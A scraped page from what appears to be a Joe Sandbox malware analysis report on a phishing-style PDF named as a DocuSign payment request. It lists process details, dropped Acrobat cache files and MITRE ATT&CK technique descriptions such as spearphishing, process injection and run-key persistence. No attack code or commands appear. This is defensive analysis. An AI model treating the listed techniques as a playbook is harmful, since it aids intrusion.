8K8FmsEFfFn3tBRDg2y1QkCQbkio5uQVBqj7YZNB-2BirBQxaWLq7mOy73heMnBdF8oJlaD0rwTWaaKAWVo4aiElmNs-2F03diU6TJ2RAZcvQxWsKaj6LQDKVxlH8MellZqpFF9oT00ELhes2kznJXgLyrqkuGkALM5d3zJow1npVj8EdzY-2B-2BnchbUD2q62tvI8AE-2B7kpMhX-2Br64oZOfhYphysBoCXInqXvm9-2F0Vvha-2FctJroCDCPBx2zfhffD0NbMi-2BZ1k3FbKz2fLKoH4Nx7qkPYmAD08JG
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	22:18:12
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1760,i,4409796165917685690,4155670508853813645,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DocuSign_Payapp#5_Pay_Requests.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\af91835e-fdc6-4238-b572-f41d693acf08.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000001.dbtmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\CURRENT (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\MANIFEST-000001

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000001.dbtmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\CURRENT (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\MANIFEST-000001

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240426201737Z-192.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Windows Analysis Report
DocuSign_Payapp#5_Pay_Requests.pdf